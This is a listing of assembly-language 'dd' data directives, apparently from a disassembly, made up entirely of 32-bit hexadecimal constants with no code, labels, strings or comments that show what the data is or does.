		dd 6E5A0845h, 22E4C6Fh,	1FAD8341h, 0A4DC0317h, 0F0C51040h
		dd 0D90A00E8h, 0B84F4ABDh
		dd 89629781h, 59C17908h, 1FEC2864h, 60B14D96h, 9E17C0F8h
		dd 0C6A8864Bh, 4FE80300h, 0F1A35DF2h, 40C8485Eh, 0CAC14F7Ah
		dd 1FFE0ECCh, 830052E7h, 6127CB6Ah, 80B1B5B6h, 0AC9124Ch
		dd 0FD443E88h, 1045C0A1h, 2E2867E6h, 28F4F1B1h,	0E1761F54h
		dd 4EE24085h, 19EC5608h, 0A14190C1h, 563B0AFDh,	501061A8h
		dd 0B033E7h, 39EF449Ah,	0BD9C09Dh, 5DD58E33h, 7062500Eh
		dd 20588A68h, 0F8E79A01h, 8907AB40h, 0B388147Ch, 1D1C3364h
		dd 0E09C003Bh, 0FE2FB94Dh, 49894264h, 5380ECECh, 0F9EEB5F0h
		dd 605BF20Eh, 478680CCh, 574CD3Ch, 0AD85E15h, 14800507h
		dd 0EE9C8CC9h, 0C8019A74h, 2811C457h, 0C6A818Bh, 3EE14790h
		dd 0D48A53EAh, 5C140F8h, 0B81942B3h, 0F258060Ah, 0D47909F2h
		dd 0C107C613h, 8E306EB2h, 3B729D2Eh, 600C6740h,	0C668808Bh
		dd 4000F48Ah, 9F998F9Ah, 8A0005F0h, 646A34DAh, 30C3244Ah
		dd 0E731D6CDh, 0EE583C53h, 77B400D8h, 2C4D3E4Ah, 2CEE9587h
		dd 991E8F00h, 72DBAE4h,	9D172CB7h, 2EFA0983h, 56022C51h
		dd 8E4930F8h, 641CD208h, 9600EC2Eh, 3CF768DEh, 64360093h
		dd 6C507CF9h, 0D1C9C47h, 0A705E31Fh, 4CC28E4Eh,	80A05332h
		dd 0AD5C1A05h, 0F10052CFh, 0C10DF5EFh, 14DEE209h, 0A0280ADCh
		dd 0D2C90517h, 0A52448F0h, 9F70EDFCh, 70D014B0h, 436E6089h
		dd 0FD3C2310h, 51C594D0h, 497D000h, 2C3A1FA1h, 863500B5h
		dd 4EDC532Fh, 0B00FC7Bh, 0D2A16541h, 2704E017h,	0F8C5C87Ah
		dd 0CB17C00h, 16BA7F3h,	0C2CAC361h, 4248795Fh, 40117844h
		dd 5FF3E10h, 85B80703h,	0A8C08819h, 26F4E690h, 7942F91h
		dd 0A0B528E7h, 0CAAE7735h, 9B934800h, 522B64F5h, 0B3080071h
		dd 56DDC784h, 48E4E6A7h, 0B09D3850h, 88182A48h,	0A89F8042h
		dd 2D2459DCh, 0D1FC3C01h, 0BF7984E7h, 0ADA0A07Ch, 6100050Ch
		dd 0A0AA22F1h, 7775852h, 8DB190B4h, 7EDD068h, 4800168Bh
		dd 41C8CA5Eh, 525FEBAh,	0D2F0C04Ah, 0C894FD8Ah,	47B68033h
		dd 5DFE9B0Ch, 734B4800h, 99D08F17h, 424048Ch, 82F792A7h
		dd 0F0984254h, 0C74EDA5Fh, 2E9C049Ch, 23B60Fh, 3A32F5C1h
		dd 7E7DADD8h, 66C95901h, 0F11F8469h, 0BFBCE370h, 54D26890h
		dd 287E930Fh, 30B7D760h, 51F30F74h, 0E9E1A9DEh,	11554B3Dh
		dd 273A0656h, 915E48h, 0CD4CDEFBh, 97C1D484h, 9E869438h
		dd 0F5C83400h, 4529644Eh, 0F1370BD0h, 0D099D5C2h, 5F5618BEh
		dd 754467A3h, 4C20F544h, 10070DCh, 2B4516E2h, 74B6E89h
		dd 62659BC9h, 45601C4h,	0A8703F35h, 12ECC2Dh, 786BABE9h
		dd 0C15AF808h, 2D8C3994h, 0D04C32FDh, 0B08BA48h, 92D2F7BFh
		dd 37070CD9h, 0F820E0C1h, 544628h, 0E490A669h, 0AF0D2F95h
		dd 8800C474h, 0E14BABF2h, 0E80169F0h, 54501F1Bh, 4260EC7Ah
		dd 787ED2C3h, 14206097h, 44181AAh, 0D3C2ACEEh, 8870BF75h
		dd 6E9063h, 8B804B03h, 0FBEF7740h, 294A9D01h, 4C3E4665h
		dd 0B794462h, 0E1F7C6B6h, 31EFE480h, 48D30145h,	43D12041h
		dd 0E0C2DEBFh, 39DC9818h, 89005514h, 0AC083F63h, 0C0F4C80h
		dd 209E43C9h, 0BC6AFB5h, 69A70209h, 0BB7A298Fh,	993BE490h
		dd 0B8E6E732h, 8CE12082h, 98A0F522h, 75B2809h, 0C64BF8D1h
		dd 0DFB8C004h, 28F695ADh, 16D083Bh, 68EBEE8Bh, 1D6F8AA0h
		dd 84790CCh, 80C96054h,	0D2ECCE24h, 8B3206EEh, 2B7C2861h
		dd 0AA0098D1h, 80D26F2Ch, 0E2FB8B8h, 1F9B5423h,	85C3826Fh
		dd 6820782Ah, 0E75C4488h, 0C94068B4h, 267BE2h, 275C3C4Dh
		dd 2943E16Ah, 3E656914h, 869610B8h, 38909C2Dh, 0C016A0F7h
		dd 54624A52h, 0A8C42B0Ch, 4500FFF6h, 6D0523C2h,	321A0902h
		dd 0EA583D65h, 3B208429h, 0D23EB050h, 29000D44h, 0E7A1CB08h
		dd 0FE79AAB3h, 9C4A5B82h, 0E558501Ch, 8508C888h, 2191B5A0h
		dd 319AC9E0h, 94202F7Ah, 448FC83h, 0BD7A028Eh, 9484F2CAh
		dd 64165ACFh, 56DF4C00h, 0B003F827h, 963E00C0h,	0A07D6207h
		dd 683FE079h, 5ED8E665h, 0B5A10041h, 0C40996DEh, 455C3F2Ah
		dd 5A0885D0h, 81410C00h, 932E6ADh, 837E371Fh, 0BD60447Eh
		dd 17602E6Ch, 5CF21C0h,	40DFE0A1h, 90E12990h, 4A09ECFEh
		dd 0E4DC40E8h, 203E4568h, 0C1005DA2h, 5EA55C99h, 835F30h
		dd 0D0E2DF91h, 291DABFBh, 133E8527h, 64588804h,	4BF43E7Fh
		dd 8BDF0700h, 0AD7B66Dh, 7AF27702h, 20BE5EE6h, 41EEF5BCh
		dd 6352DA0Fh, 6B04EFCEh, 67C0685Fh, 39C20BFCh, 2F809A59h
		dd 3215F574h, 0E8038E00h, 1EE197F7h, 6E5602D9h,	0BA75A010h
		dd 109E1C0h, 90047FE0h,	63850729h, 0D12420BEh, 2700CA1Ch
		dd 58BC9BD7h, 38CB3B87h, 6C89F56Eh, 0E45C5F6Fh,	4C2F8540h
		dd 0A0140051h, 0DFB7589Bh, 9027EDEAh, 0F04428h,	0E3424BA2h
		dd 4238DABh, 0D9F96603h, 8121B90Ah, 882A896Dh, 42015E4Ch
		dd 0D66AD3C3h, 84708BE1h, 5BE52FB7h, 0E4903465h, 802EAA4h
		dd 207AB068h, 0B3F37D9Dh, 0A8564A00h, 6F2A8B62h, 2093B7D8h
		dd 0FCF1D2B0h, 0BAACF300h, 0CA3A7C10h, 2CE4C7h,	0F2E8050Fh
		dd 0CBC1771Fh, 0B786E95h, 0C37C03D0h, 4D759052h, 0AC40F305h
		dd 14018407h, 0C5828C47h, 0B1AB6DF8h, 0E09F8030h, 0B013C2Ch
		dd 5908CF00h, 30F7B575h, 310E2A3h, 70A4E3A9h, 8088870Ch
		dd 31164890h, 0C8D0E0F1h, 0F88447h, 26517B59h, 37E296C6h
		dd 0F688C43Fh, 936DD301h, 4FE44450h, 904E0E60h,	2043513Ch
		dd 0BFA4273Ah, 5ECDA6E3h, 39221200h, 5D823F1Bh,	0A82453B9h
		dd 0D7B4E700h, 0D2E24A87h, 0BE723Eh, 7F9BEB2Bh,	0E6FA6BCh
		dd 742ADD43h, 0A30DC740h, 3C01A522h, 4CD433E6h,	91401440h
		dd 487794E7h, 0A380C8B1h, 0DE35C98Ah, 40FDDD00h, 288D4B64h
		dd 67E7071Eh, 71B7092Fh, 70C538C9h, 0E862314Ch,	338BD8h
		dd 2002C7E7h, 5E53B307h, 0C2921C28h, 1E305ACEh,	5216C7E1h
		dd 70A812h, 53280BA3h, 3924EA0h, 0AC22C34Ah, 194BA44Ch
		dd 8FAE5020h, 5E3E295h,	4B1D4EFDh, 0A26CBC99h, 8B571A58h
		dd 7C464C8h, 0F8E2E356h, 0C07911F2h, 9818ADCFh,	3C9823ACh
		dd 0C30080EDh, 8C2A3307h, 0AC032BE0h, 22CC5840h, 0E445A88Fh
		dd 0F085ED03h, 0E3C29C4Fh, 0DE44002Ch, 0A533FE47h, 0FFBA3F01h
		dd 4CA0D9E0h, 8001FDAFh, 0D1609C42h, 282C73D2h,	37823180h
		dd 5700C93Bh, 60A2CDBBh, 169FBDA4h, 0CCA1CA51h,	0BA5D7A68h
		dd 403096C0h, 393F91FEh, 5DA41D67h, 0C0445C84h,	758901F5h
		dd 0A87284DBh, 4E8AD0A5h, 4C893E4Fh, 0C020842Fh, 0D2DEE78Dh
		dd 8088225Fh, 8A3EE93Dh, 78901364h, 1B2800EAh, 70EBD4A0h
		dd 7F4B9217h, 16B80C8h,	7A418EABh, 0CCCC8177h, 175893F4h
		dd 0C2EA67C8h, 0C6917CAAh, 0A6F392C3h, 50C859EFh, 5200A875h
		dd 0AA3B13A2h, 11201E6h, 91683FA4h, 2F6D8C05h, 8AAC484h
		dd 3D8E11A0h, 974544Bh,	1802957Ah, 323D08Ch, 88F70803h
		dd 0ECE03BCAh, 55F5668h, 4BF828h, 73908D57h, 66E603D4h
		dd 94AF0C9h, 9214C03Bh,	686502FCh, 0C7C68731h, 2E1D50F0h
		dd 4809BA9Dh, 697F0396h, 46981133h, 256124Eh, 0F2536C90h
		dd 2BE32CDCh, 0D4102588h, 7100B802h, 0B6ACF046h, 12F2F6F3h
		dd 4A3B63BCh, 423C53D0h, 0CE4BF7Ah, 0E007D8B0h,	0E834FB8Fh
		dd 0FD29C750h, 13A6F86Bh, 53BDD813h, 0B2B0h, 14A98E93h
		dd 1FCD16B1h, 2EFA79EDh, 2E661CE9h, 0B44901D0h,	8F4D55ECh
		dd 290E2F60h, 1F205944h
		dd 0A06D0070h, 0B2D0DEE3h, 0BE0D5E00h, 0C5E4F805h, 9A1F0281h
		dd 4EE7D569h, 54C4927Dh, 25DC51Ch, 83333DA0h, 0DCE0017Dh
		dd 0F09C3567h, 0AC5C8554h, 5B2CF87Ah, 20372C31h, 0EC004063h
		dd 2DEB9AAAh, 920091A5h, 0ADBF448Ch, 4A86EE05h,	0EB2821B0h
		dd 637BECFDh, 98005071h, 8BFC288Eh, 4E860AA2h, 1C08F23Eh
		dd 80FE06B5h, 0D19CB7D6h, 9088FBD4h, 503DE406h,	5B56144Dh
		dd 0E150CCFDh, 8011737Bh, 0FA7C5F9Ch, 0CA830001h, 0B51C2332h
		dd 181FB390h, 0ABC03065h, 63A82026h, 73610708h,	0C2293B17h
		dd 35607EB3h, 770187EFh, 0C850708Dh, 2E30C5E0h,	0FB561281h
		dd 1D8A741h, 17FE78D3h,	207332F5h, 68999E03h, 45901C63h
		dd 0C5035D8Bh, 0C9205F8Eh, 34CA9848h, 0A4E29723h, 515ADBA6h
		dd 374EB801h, 0D4108A7Fh, 0EB18C1DAh, 0A51CCC0h, 0EF793FCh
		dd 0C7451F9Ch, 0C0CBFACEh, 0B0467D9Eh, 2B598300h, 34BC3DD2h
		dd 48C514EFh, 0C812A4C0h, 8EAC005Bh, 9794FF2Dh,	47969E00h
		dd 8258C560h, 6CAF676h,	1C814341h, 23104051h, 130842BBh
		dd 8C3C590Ah, 18BADA44h, 0C3AB872h, 0A3564CE0h,	0DC2045A8h
		dd 40BB71C6h, 0E50C301Dh, 307C4BCCh, 13E07688h,	6184598h
		dd 0E8CB8630h, 78155440h, 369A88FBh, 875A7C84h,	13082D10h
		dd 0AB844A43h, 8B004D7Dh, 9F18742Fh, 0E054098Fh, 790764F2h
		dd 0D56526A3h, 4C0CE51h, 0EC0CB2FCh, 40F504EBh,	0BA4EFF8Eh
		dd 43A2C29h, 1E3F1818h,	0C9801C00h, 90945C34h, 0D34901A4h
		dd 0FDFA982Fh, 6538D586h, 1CC460F0h, 0BBD940h, 4BC70854h
		dd 0F235A6CAh, 0B268F75h, 46812414h, 0F9B73E7Ch, 0AB11204Fh
		dd 7558948Ah, 91DCB89Dh, 304C0066h, 859E623Ah, 0DC4CB86Fh
		dd 113500BCh, 0E72D1CD7h, 3D1673C1h, 0FB26EEB5h, 95401218h
		dd 0C8E278h, 0CB4D9C4Ah, 4884234h, 0CBFB396h, 0BC00FAFCh
		dd 0CF6BD30Eh, 5940001h, 0EB6E847Ch, 0B9D6C2h, 0C8DF4F8Bh
		dd 0E92151Ch, 7D0E9E91h, 0B12E7381h, 90232B54h,	141BF030h
		dd 0F2F10795h, 904F6A36h, 0EA2E0A80h, 0FD01F000h, 14894879h
		dd 0BD898D4h, 0BC650310h, 3B9F8878h, 2DD4C05Ch,	1424053Dh
		dd 0AAE2717Ah, 0D7D91300h, 0B04ABB4Dh, 722D1634h, 0A22C1C76h
		dd 12F0909Dh, 0F31C0075h, 3F8D08E2h, 2FF842ECh,	7D250605h
		dd 5080A928h, 0E8A18290h, 0BE5F4B7h, 0BD7A3743h, 532E8010h
		dd 0B500F37Bh, 673040C8h, 7897845Ah, 83500493h,	0C5A02EA7h
		dd 1188B80h, 0FFF6E105h, 0A1EB2ABCh, 0D6DC9579h, 0C82E5A82h
		dd 2007AC08h, 5205F764h, 5FEED871h, 0FB001C6Dh,	20C7F009h
		dd 0A6009111h, 6199E54h, 589CC662h, 7F02C0BDh, 0D29B5207h
		dd 0CC083C56h, 0CAC9426Eh, 82F9820h, 1DA0679h, 19D25FAAh
		dd 6BB8DD00h, 0B570C232h, 17E025F0h, 841E2478h,	7C3B34h
		dd 0B30F2AEBh, 862FE7h,	0ABF7E471h, 192DA552h, 94F48900h
		dd 3C79038Bh, 0F9E50644h, 1888C718h, 8D722200h,	75E0117Dh
		dd 18AC7C1Ah, 38AB6E73h, 36001F52h, 229F1724h, 784AE1Dh
		dd 511B7737h, 0A189CEEh, 0D1BC7107h, 0FCC3F19Bh, 8791C10Eh
		dd 1C07C0F7h, 2E080309h, 950562B7h, 197B5800h, 8CF66623h
		dd 3978E6h, 8A9498E1h, 70A02C93h, 7D288560h, 0C17E14E9h
		dd 4FB01E18h, 1F99808Dh, 1D810C40h, 1168C0B5h, 1A8BA621h
		dd 0E40398EEh, 0F0C25107h, 0C864F816h, 62B61D94h, 0AE4030D4h
		dd 92609D19h, 0C1316F58h, 98753EDAh, 97C4E98Ch,	62073818h
		dd 0E0E5572Eh, 0C12544C3h, 944098D1h, 52C247Dh,	208B9FDBh
		dd 0ABA40CDFh, 9F57990h, 0A3F175E1h, 262A2910h,	0AF6698A0h
		dd 0C8BD1830h, 0C491DF0Fh, 6CE5C0E8h, 859F4379h, 0C000EAB5h
		dd 0FCE5762Fh, 4221180Dh, 0D0AEF8D6h, 85F9F1C1h, 0A9BCBB20h
		dd 9FE00456h, 10C0A206h, 0F0D72AACh, 5104008Ch,	31E722D8h
		dd 9F39C03Ah, 0D5DA0091h, 59AC89B3h, 7529C8D3h,	7EDC6F86h
		dd 66E20050h, 93F501F3h, 0E600B412h, 0B0971578h, 0E5F9D4h
		dd 0A97F9E92h, 6729CB02h, 7EA4A601h, 35CDD13Ah,	7D7A7C4h
		dd 3FB286A0h, 5DED7075h, 0A40F2648h, 81BEF00Ah,	0AF7CC4F9h
		dd 790699CCh, 0A7B900FFh, 225A2581h, 905CBBDCh,	0D3B700B6h
		dd 80FFF212h, 49AE1E2Eh, 8CCC0355h, 501C0417h, 3340BAF1h
		dd 0B0376AF2h, 71FC1C5Eh, 0A94F4049h, 0EC72EB48h, 93B22C00h
		dd 9D670D76h, 0DCB5847h, 0F1F25F00h, 88E32471h,	25FB8000h
		dd 0B71FBF0Ch, 0CB796Dh, 0DE03EA5h, 34BD4768h, 0B4D8107h
		dd 23134240h, 576FA071h, 64F20025h, 0E9B01D7Fh,	0BA007436h
		dd 0E3B30482h, 18B5101h, 0F0575610h, 0C8EA9E1Ah, 0FF00CD76h
		dd 2C8FA85Eh, 39F74F16h, 0BF07B9E5h, 10D18E7Bh,	694ADEA7h
		dd 47FF3303h, 0F0B5AAF6h, 315B0ABh, 0C9D1734Fh,	11003DDDh
		dd 21C18ADFh, 7E3A990Dh, 6D7700E7h, 0CDF72331h,	0A439BE01h
		dd 0ADFB076Eh, 0A0BC3DFCh, 0FADF0764h, 70E9AFE5h, 0B5279A5Bh
		dd 21C079B8h, 41AB3466h, 493C1DA9h, 5489BAE5h, 14009295h
		dd 3398BE03h, 4840B963h, 0D62B90F3h, 80310E78h,	0BA40DD28h
		dd 9DFEFDA7h, 19D7E41Eh, 0D930EC00h, 9B91567h, 31C0D6Fh
		dd 0ED742420h, 0F8586CC5h, 0ADB114A6h, 2E523DF8h, 8038CF1Eh
		dd 11968DC7h, 0D063FAh,	17A56EE2h, 7B97A067h, 609D84A9h
		dd 0BB1DACB0h, 49004047h, 0F17AF9C6h, 0B0FA3048h, 78511AD8h
		dd 0FE188200h, 8F609646h, 0D3740571h, 80880BF1h, 4D66328Ah
		dd 86002575h, 8963A276h, 0C88A58h, 3593CF3Ch, 53A98342h
		dd 0E80060B8h, 0C4F7DCA5h, 0B8419872h, 0AB0900AAh, 8BB273B9h
		dd 0D8904A5Ch, 0C8009F7Eh, 56C255D2h, 0F474EF2Eh, 0E7A90960h
		dd 0A000D3DFh, 0F1FBE3A5h, 0ECB2607h, 1D47DB4Dh, 3EC0D10h
		dd 7E80003Fh, 0E1F5EFBAh, 187DD097h, 9C39583Ch,	93802221h
		dd 0DAE4CC52h, 0BD28008Fh, 0FDBF3DC0h, 63B00DCEh, 3B656100h
		dd 0C6CD50EDh, 277C0063h, 1BD05716h, 4B00E7C8h,	80DD62BDh
		dd 9BB460h, 63C1A3B0h, 473EDADCh, 0ABE9FD00h, 54489274h
		dd 8DCB0015h, 0D0040702h, 0B41E3023h, 6A1E61BBh, 15097F00h
		dd 72A4A9h, 53F22E4Ch, 421BDEB8h, 3A076375h, 0B1E66EE5h
		dd 0CB465970h, 989055h,	0D5790698h, 0C4192226h,	87EAB4C0h
		dd 1499D6EFh, 0A8E07B8Eh, 3F667600h, 0E4288B08h, 6F6C6100h
		dd 3245EF46h, 0D2CF1DBAh, 5AF68E14h, 1689B580h,	2500ADC4h
		dd 7F4DA477h, 0E6C71Bh,	1EA67D1Fh, 0E2C0A5E7h, 9E9BD17h
		dd 4C007112h, 0D3083C57h, 1AF91D3Fh, 0F4D60088h, 0D514E280h
		dd 0D4001898h, 0B76D6CCAh, 7340E1FAh, 0DB07008Ah, 16D715FDh
		dd 0DD00EB7Fh, 39442C4Ch, 8D2984h, 0D39D3D57h, 0FD408CD5h
		dd 9989E200h, 84C610D7h, 2FD800DDh, 616E75E4h, 1100C3F8h
		dd 667C96CEh, 0F475B92h, 533BA9ECh, 0C790FFC0h,	0B70021A5h
		dd 27A37BE9h, 302290Ah,	5AC538CEh, 188837D4h, 5E38A1F0h
		dd 305F80BFh, 6275F315h, 85E30038h, 95D9C8B7h, 0BA75168Bh
		dd 0FE984F07h, 78705C6Ch, 98303313h, 0A8B2133Ch, 0B400BF72h
		dd 0B720AF06h, 0BDD38D6h, 0E31FCE0Ah, 0CA2A00CCh, 7486BB85h
		dd 909D7D00h, 0B1C35903h, 0B731C5Eh, 79AC0397h,	25A03006h
		dd 8700587Bh, 0E1900289h, 4B601Ah, 82887384h, 2C91BB12h
		dd 1A5E840h, 6BBA3F52h,	0FBBF783Ch, 0E146A8B0h,	0DC0D6200h
		dd 0F5C36940h, 3C4D00E2h, 0CA59D693h, 44092D67h, 4F4579h
		dd 85E9BF40h, 0E6A90051h
		dd 0BC4866F5h, 8F00CE41h, 2A3AE307h, 0FACD58B9h, 0D2DA0381h
		dd 8A261E37h, 2FB612F8h, 0D7841C00h, 806AB4A9h,	0A7730152h
		dd 7CEF4EF9h, 0E91180F4h, 0EE6835E3h, 0C165006Eh, 8A04884Ch
		dd 0DD015AB0h, 40C675AAh, 3E30D326h, 730D00A7h,	0C095D008h
		dd 8E005668h, 97A6FCA8h, 4DC1FDh, 5C61049Ah, 457BA4CDh
		dd 718C0916h, 54511400h, 9CBCC4h, 0D62E9BEFh, 5A07A77h
		dd 0FE28B900h, 2982184Fh, 70B700FAh, 0B38BA8C9h, 56EEF1C5h
		dd 807E711Eh, 2807F517h, 7F3023F8h, 4F360Ah, 722AB4BBh
		dd 13480962h, 0AF0118EAh, 2B1BE10Bh, 0CC303AC8h, 0A2B600F8h
		dd 94EBE0B4h, 0E090865Bh, 23759600h, 48AD3829h,	3F5A004Fh
		dd 0BFA4E632h, 0ED3A6FA3h, 347D83AAh, 0C866B40Ah, 1A85360h
		dd 9F3AF5Ch, 0F061E764h, 0C5073FC7h, 1745F44Ch,	4F1CCF41h
		dd 2B8778BDh, 5019DF90h, 94978022h, 7E3E590Ch, 0D9E2053h
		dd 0B145B88Ch, 0C12F811h, 0F6079116h, 0AECC2009h, 0A78AE050h
		dd 0B0062E4Ah, 0F8E5247Eh, 57BC40C8h, 0B907592Ah, 879C15A8h
		dd 0A3F4FB20h, 0BF8B05Bh, 34B79F82h, 0AE2B5D80h, 0BD3DA492h
		dd 0ED3580E7h, 27D17533h, 0FD2603A5h, 4471AD34h, 57855AD0h
		dd 28D7E500h, 0CB2798F3h, 95C10079h, 3DBE06B5h,	0C8A0F616h
		dd 1A00A883h, 0E7ECED42h, 0E202EA0h, 0D08ABA55h, 2C03E160h
		dd 0A21C35B3h, 9F8032E2h, 0E3B98571h, 0CEB405EFh, 0C00BE5A6h
		dd 0C2F8BE54h, 81AD7E3Ah, 0FEDC3260h, 0F1F8A45Dh, 72DB1C30h
		dd 3B67C05Eh, 0B95F2A4Bh, 80036B74h, 0EBF0219Ah, 802EA7DEh
		dd 4661F53h, 3FFCB07Eh,	6D006067h, 47FD58EFh, 0DB09EC6Ch
		dd 3B13539h, 7A7A82DAh,	0E3D20028h, 967F338h, 53007771h
		dd 0C3E79681h, 0FEAEF1h, 878E213Dh, 0E64ACE83h,	7D002498h
		dd 0BF7C67BBh, 0A81AC38h, 9E04E83Ah, 5C7F00D8h,	0AB22CA76h
		dd 0D4858B00h, 0E389AC13h, 0BF575870h, 876C8200h, 0C3414BC7h
		dd 773CE817h, 5C8BD04Eh, 0E6FA01E0h, 412C6E5Fh,	0B95420B5h
		dd 634C9907h, 6AD09FD4h, 0E636A620h, 0BEE25Bh, 2C472BB8h
		dd 53B954F4h, 8CCE150Eh, 0E0602F66h, 0EFDA5169h, 0B2609FDBh
		dd 373BA4A3h, 9F3E03FFh, 0E010AB56h, 1769D8C5h,	113B54h
		dd 0B9085D28h, 466EA250h, 0E0D5E298h, 0D25E409Bh, 7414321Dh
		dd 5C605D79h, 221A5C91h, 0D8B0BC27h, 360730F5h,	2B936A11h
		dd 0F2D69700h, 266B8B71h, 4DC309C7h, 98809FF9h,	0C785021h
		dd 91529500h, 0E7464766h, 3F642EE0h, 0F50F0079h, 0CDCF63DAh
		dd 141FFC0Eh, 29E70039h, 759E4E3h, 0DAC8D7EDh, 0B60913A1h
		dd 0C794B980h, 7D6BC39h, 26556E0Bh, 2B80AAF0h, 70F0063h
		dd 7ACBEC58h, 0BE0E97FEh, 0FEC70395h, 0C8C6BD83h, 0EB8D886Ah
		dd 0BC571271h, 0A15403F2h, 14B0CF67h, 250E374Fh, 72B466h
		dd 0C7166893h, 49C202F6h, 0AD4D8A51h, 0C3D984E0h, 0BB736B1Ch
		dd 4F1788C0h, 1F574841h, 7C60F21h, 0C0B88F61h, 15F51622h
		dd 88DEF400h, 0B02DE0C3h, 0A5520185h, 0AA758C82h, 5B74FC89h
		dd 0A30C1100h, 832C7147h, 410A0A1Eh, 9A739Eh, 625B5E05h
		dd 0B5258C0Fh, 0CA9C83AAh, 93B7B898h, 4C5A00BBh, 22B01AF6h
		dd 6F00C842h, 574F2D4Bh, 397EB350h, 0AB500595h,	0DDC11C8Ah
		dd 2AEE8030h, 3CACF781h, 27795016h, 0BE1C5C40h,	271D7D5h
		dd 0DB015766h, 0E8E80519h, 74013B09h, 939656C9h, 0F441CADAh
		dd 0DF202183h, 0CF550C7Fh, 424878EDh, 9E90BC00h, 0D118F756h
		dd 0DBC53D01h, 38896B80h, 7B420B3h, 0C4360F00h,	9AB79658h
		dd 6B300071h, 721E85A3h, 320046D0h, 0B1541CBEh,	3C112436h
		dd 370071C1h, 0FA5FF3E4h, 0EB1F2EA1h, 0D0E46BC0h, 9528C9C0h
		dd 6CED17F0h, 2D1C0558h, 8128C09Fh, 3B007F11h, 49965C4Dh
		dd 0C23F5Fh, 0C9D01463h, 0D5F6B304h, 28D2F026h,	9C32F900h
		dd 1E3DB5C6h, 4F74CBEEh, 1529522Dh, 215BE200h, 0E31CF6E8h
		dd 61841C88h, 1CC0765Dh, 0FC9E5F2h, 0D6F3B632h,	12B1E00h
		dd 7F37873Ch, 0BD5041B7h, 7C73BDDh, 0A35EA75Fh,	8A0CCBADh
		dd 3F0CFD21h, 11B3D059h, 8E54258Dh, 1342EC01h, 0FFB47063h
		dd 0D7D9D618h, 0CE0EB0h, 299CEACBh, 7F4EF5CDh, 26397B1Dh
		dd 81438D40h, 2FC557h, 8A27FFDCh, 70554937h, 0D487F00h
		dd 296D62E7h, 445730FDh, 835EC50h, 831C9501h, 0B00E8D75h
		dd 5100E43Ch, 22449E50h, 0D63FF177h, 0F72E0772h, 0A7F0A005h
		dd 0B8376378h, 440A016h, 0E27698h, 877482E3h, 24FCCA41h
		dd 10CC54Ch, 0DAF4560Ah, 38648CB1h, 193A0905h, 7A0035A8h
		dd 9738ED07h, 55ECB824h, 25410B1Eh, 4AE1E274h, 0D256E4h
		dd 7C808808h, 61F9B5A3h, 0A85CA22Ah, 0AF1D6900h, 2765C999h
		dd 82970267h, 0EA4F2CB2h, 6C4104E0h, 0C7D48h, 0E71B42CFh
		dd 2D46E13h, 15D12AA9h,	74E0EEAEh, 4FE82C5Bh, 0C10AE703h
		dd 0F5558FB2h, 505A0CD0h, 38B0B830h, 1400DE89h,	0D3ED93CEh
		dd 3F18D7D1h, 753A2E47h, 34231DD6h, 122066EAh, 33D40007h
		dd 352A4D91h, 5FA08E0Eh, 21EDC1E8h, 0BCE0B503h,	0D2CA50E9h
		dd 854A0084h, 0F12DB275h, 3E000BEFh, 444C6AEEh,	173AA15h
		dd 0B7033C6Fh, 87A8474Dh, 64289B96h, 1FD21B40h,	0C3A0094h
		dd 0BD198C57h, 7B02C2C5h, 0E1CE5FB7h, 75F581A7h, 0FEC571A9h
		dd 0F6F2003Bh, 0CCD79337h, 0A7B9E703h, 0C0613B3Dh, 1701D4Ch
		dd 41B73F1Ch, 30FF167Eh, 77000C54h, 477B2B38h, 0E93A1BFh
		dd 74D68343h, 0A845D8E0h, 0B307F8B2h, 53BD274Ah, 477C0940h
		dd 431300C1h, 1216F248h, 5D0055F6h, 760D328Fh, 0A828B3h
		dd 0D0DC3ED4h, 0CE2CEE79h, 0D79BFE00h, 80B5B072h, 0E9A50026h
		dd 8A1AB296h, 6900BA32h, 0B9A7AC07h, 0ED3C84h, 0F9355561h
		dd 0C3A56654h, 0B648A002h, 0E071FDB7h, 733368C9h, 7940EC9h
		dd 0EFE0DFE1h, 0DE65732Ch, 0C88F0133h, 0D5E3F8B6h, 0CF7B386Ch
		dd 2000C55Ch, 4A1A04ADh, 0D90413D7h, 0A57485B6h, 2B903D87h
		dd 0F4FCA0h, 0F01E6D6Ah, 28D3CD05h, 0C9A99D01h,	0E82286BFh
		dd 1C2E1D20h, 0D647930Bh, 59BC80B0h, 9807F64Bh,	0C7B155ABh
		dd 5FFB88F0h, 0AAB60038h, 88C3FB4h, 0E700F9FDh,	0B7C6168Ah
		dd 0BDEE067h, 0FF84C08Bh, 0EC018F80h, 82759693h, 9411AD60h
		dd 16879Fh, 51F36841h, 99749081h, 397FD202h, 0D0F0A22Dh
		dd 31751FFCh, 0A8833AA0h, 0C2BE5BFh, 0C328C5C0h, 77832406h
		dd 28B1AA52h, 31CAB2Ch,	0BDBF6871h, 0D7A3607Fh,	0A72D2EA0h
		dd 267710A0h, 1E39A060h, 3AC0D095h, 0BE00F524h,	9746617Bh
		dd 0C20005EDh, 0AE1D944h, 0E60E65B4h, 0AF2C26BCh, 0F22479h
		dd 6472437Fh, 2898989Ah, 0A00FD030h, 79BAF0h, 6E0D8C0Eh
		dd 0BF887D91h, 98B2640Ch, 0AC96822h, 59778224h,	0F82A1860h
		dd 0E0C7D813h, 2940D01Ch, 0E5E010h, 0B3BFBE9Fh,	0C26AFF89h
		dd 59558707h, 0F0006FFBh, 1EBD8E61h, 0C0F5919Fh, 1E51A9E5h
		dd 660F2915h, 80F1FE02h, 0F8D37BC5h, 22BB00AAh,	29C1B34Eh
		dd 70243917h, 0F33B058Ch, 0A4FE1B00h, 0EAD7AD89h, 0C140020h
		dd 117BCF7Ch, 0F00DBC4Ch, 34FA248Ch, 0F87FE0E4h, 8AC001EDh
		dd 63898193h, 3DC6D2Dh,	0C1B5BACBh, 98D1D024h, 825662Ch
		dd 600021ADh, 0EA9B5D2h, 30E9D369h, 7D48F710h, 0CB05BB66h
		dd 9573A0AEh, 602CE8E0h, 0ABA63882h, 8F609CD2h,	0A4487469h
		dd 980E282Bh, 601537BCh, 0D921EC08h, 38A4700Fh,	3150B803h
		dd 30DA82B2h, 79268B24h
		dd 0C37CE905h, 0C5656408h, 2476C0BCh, 64A9D0BDh, 0D46A10AEh
		dd 539D26B5h, 2C8B0E39h, 29AB1858h, 6008FA5Ch, 0A55A2429h
		dd 179CA095h, 1A312F1Ch, 0F52F6480h, 0E46003C9h, 502BE939h
		dd 1A0E0347h, 32669F79h, 21950832h, 0BCAA6022h,	56490388h
		dd 82ED1223h, 951A580Fh, 69D90CE6h, 154007Dh, 0CFB3C8B5h
		dd 2B006CFBh, 9CC29055h, 40B884h, 41D6B0E7h, 8FE2D8D4h
